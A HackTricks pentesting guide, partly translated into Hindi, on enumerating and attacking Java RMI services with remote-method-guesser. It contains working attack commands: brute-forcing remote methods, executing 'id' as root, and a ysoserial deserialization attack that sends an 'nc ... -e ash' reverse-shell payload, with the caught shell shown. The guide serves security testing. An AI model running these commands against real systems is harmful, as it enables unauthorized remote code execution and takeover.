hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

Basic Information

Java Remote Method Invocation, या Java RMI, एक ऑब्जेक्ट उन्मुख RPC तंत्र है जो एक Java वर्चुअल मशीन में स्थित एक ऑब्जेक्ट को दूसरे Java वर्चुअल मशीन में स्थित एक ऑब्जेक्ट पर विधियों को कॉल करने की अनुमति देता है। यह डेवलपर्स को ऑब्जेक्ट-उन्मुख पैराजाइम का उपयोग करके वितरित अनुप्रयोग लिखने में सक्षम बनाता है। एक आक्रामक दृष्टिकोण से Java RMI का एक संक्षिप्त परिचय इस ब्लैकहैट टॉक में पाया जा सकता है।

डिफ़ॉल्ट पोर्ट: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Usually, only the default Java RMI components (the RMI Registry and the Activation System) are bound to common ports. The remote objects that implement the actual RMI application are usually bound to random ports as shown in the output above.

nmap has sometimes troubles identifying SSL protected RMI services. If you encounter an unknown ssl service on a common RMI port, you should further investigate.

RMI Components

साधारण शब्दों में, Java RMI एक डेवलपर को नेटवर्क पर एक Java object उपलब्ध कराने की अनुमति देता है। यह एक TCP पोर्ट खोलता है जहाँ ग्राहक कनेक्ट कर सकते हैं और संबंधित ऑब्जेक्ट पर विधियों को कॉल कर सकते हैं। हालांकि यह सरल लगता है, Java RMI को कई चुनौतियों का सामना करना पड़ता है:

1. Java RMI के माध्यम से एक विधि कॉल को भेजने के लिए, ग्राहकों को लक्षित ऑब्जेक्ट के IP पते, सुनने वाले पोर्ट, लागू की गई क्लास या इंटरफेस और ObjID के बारे में जानना आवश्यक है ( ObjID एक अद्वितीय और यादृच्छिक पहचानकर्ता है जो तब बनाया जाता है जब ऑब्जेक्ट नेटवर्क पर उपलब्ध कराया जाता है। यह आवश्यक है क्योंकि Java RMI एक ही TCP पोर्ट पर कई ऑब्जेक्ट्स को सुनने की अनुमति देता है)।
2. दूरस्थ ग्राहक सर्वर पर संसाधनों को आवंटित कर सकते हैं जो उजागर किए गए ऑब्जेक्ट पर विधियों को कॉल करके। Java virtual machine को यह ट्रैक करना होगा कि इनमें से कौन से संसाधन अभी भी उपयोग में हैं और कौन से को गार्बेज कलेक्ट किया जा सकता है।

पहली चुनौती का समाधान RMI registry द्वारा किया जाता है, जो मूल रूप से Java RMI के लिए एक नामकरण सेवा है। RMI registry स्वयं भी एक RMI service है, लेकिन लागू की गई इंटरफेस और ObjID निश्चित और सभी RMI ग्राहकों द्वारा ज्ञात होते हैं। यह RMI ग्राहकों को केवल संबंधित TCP पोर्ट को जानकर RMI रजिस्ट्री का उपभोग करने की अनुमति देता है।

जब डेवलपर्स अपने Java objects को नेटवर्क के भीतर उपलब्ध कराना चाहते हैं, तो वे आमतौर पर उन्हें एक RMI registry से जोड़ते हैं। registry सभी जानकारी को संग्रहीत करता है जो ऑब्जेक्ट से कनेक्ट करने के लिए आवश्यक है (IP पता, सुनने वाला पोर्ट, लागू की गई क्लास या इंटरफेस और ObjID मान) और इसे एक मानव-पठनीय नाम ( bound name ) के तहत उपलब्ध कराता है। ग्राहक जो RMI service का उपभोग करना चाहते हैं, वे संबंधित bound name के लिए RMI registry से पूछते हैं और रजिस्ट्री सभी आवश्यक जानकारी लौटाती है। इस प्रकार, स्थिति मूल रूप से एक सामान्य DNS सेवा के समान है। निम्नलिखित सूची एक छोटा उदाहरण दिखाती है:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

The second of the above mentioned challenges is solved by the Distributed Garbage Collector (DGC). This is another RMI service with a well known ObjID value and it is available on basically each RMI endpoint. When an RMI client starts to use an RMI service, it sends an information to the DGC that the corresponding remote object is in use. The DGC can then track the reference count and is able to cleanup unused objects.

Together with the deprecated Activation System, these are the three default components of Java RMI:

1. The RMI Registry (ObjID = 0)
2. The Activation System (ObjID = 1)
3. The Distributed Garbage Collector (ObjID = 2)

The default components of Java RMI have been known attack vectors for quite some time and multiple vulnerabilities exist in outdated Java versions. From an attacker perspective, these default components are interisting, because they implemented known classes / interfaces and it is easily possible to interact with them. This situation is different for custom RMI services. To call a method on a remote object, you need to know the corresponding method signature in advance. Without knowing an existing method signature, there is no way to communicate to a RMI service.

RMI Enumeration

remote-method-guesser is a Java RMI vulnerability scanner that is capable of identifying common RMI vulnerabilities automatically. Whenever you identify an RMI endpoint, you should give it a try:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

The output of the enumeration action is explained in more detail in the documentation pages of the project. Depending on the outcome, you should try to verify identified vulnerabilities.

The ObjID values displayed by remote-method-guesser can be used to determine the uptime of the service. This may allows to identify other vulnerabilities:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Bruteforcing Remote Methods

यहां तक कि जब enumeration के दौरान कोई कमजोरियां नहीं पाई गई हैं, उपलब्ध RMI सेवाएं अभी भी खतरनाक कार्यों को उजागर कर सकती हैं। इसके अलावा, हालांकि RMI संचार RMI डिफ़ॉल्ट घटकों के लिए deserialization फ़िल्टर द्वारा सुरक्षित है, कस्टम RMI सेवाओं से बात करते समय, ऐसे फ़िल्टर आमतौर पर मौजूद नहीं होते हैं। इसलिए, RMI सेवाओं पर मान्य विधि हस्ताक्षर जानना मूल्यवान है।

दुर्भाग्यवश, Java RMI remote objects पर विधियों की enumeration का समर्थन नहीं करता है। यह कहा जा सकता है कि, विधि हस्ताक्षरों को remote-method-guesser या rmiscout जैसे उपकरणों के साथ bruteforce करना संभव है:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

पहचाने गए तरीके इस तरह से बुलाए जा सकते हैं:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

या आप इस तरह से डीसिरियलाइजेशन हमले कर सकते हैं:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

इन लेखों में अधिक जानकारी मिल सकती है:

• JEP 290 के बाद Java RMI सेवाओं पर हमला करना
• विधि अनुमान
• remote-method-guesser
• rmiscout

अनुमान लगाने के अलावा, आपको खोज इंजनों या GitHub पर उस RMI सेवा के इंटरफेस या यहां तक कि कार्यान्वयन की तलाश करनी चाहिए। bound name और कार्यान्वित वर्ग या इंटरफेस का नाम यहां सहायक हो सकता है।

ज्ञात इंटरफेस

remote-method-guesser उन वर्गों या इंटरफेस को known के रूप में चिह्नित करता है यदि वे उपकरण के ज्ञात RMI सेवाओं के आंतरिक डेटाबेस में सूचीबद्ध हैं। इन मामलों में, आप संबंधित RMI सेवा पर अधिक जानकारी प्राप्त करने के लिए known क्रिया का उपयोग कर सकते हैं:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

• port:1099 java

Tools

• remote-method-guesser
• rmiscout
• BaRMIe

References

• https://github.com/qtc-de/remote-method-guesser

HackTricks Automatic Commands

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}

{% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाएँ देखें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारा अनुसरण करें Twitter 🐦 @hacktricks_live.
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।

{% endhint %}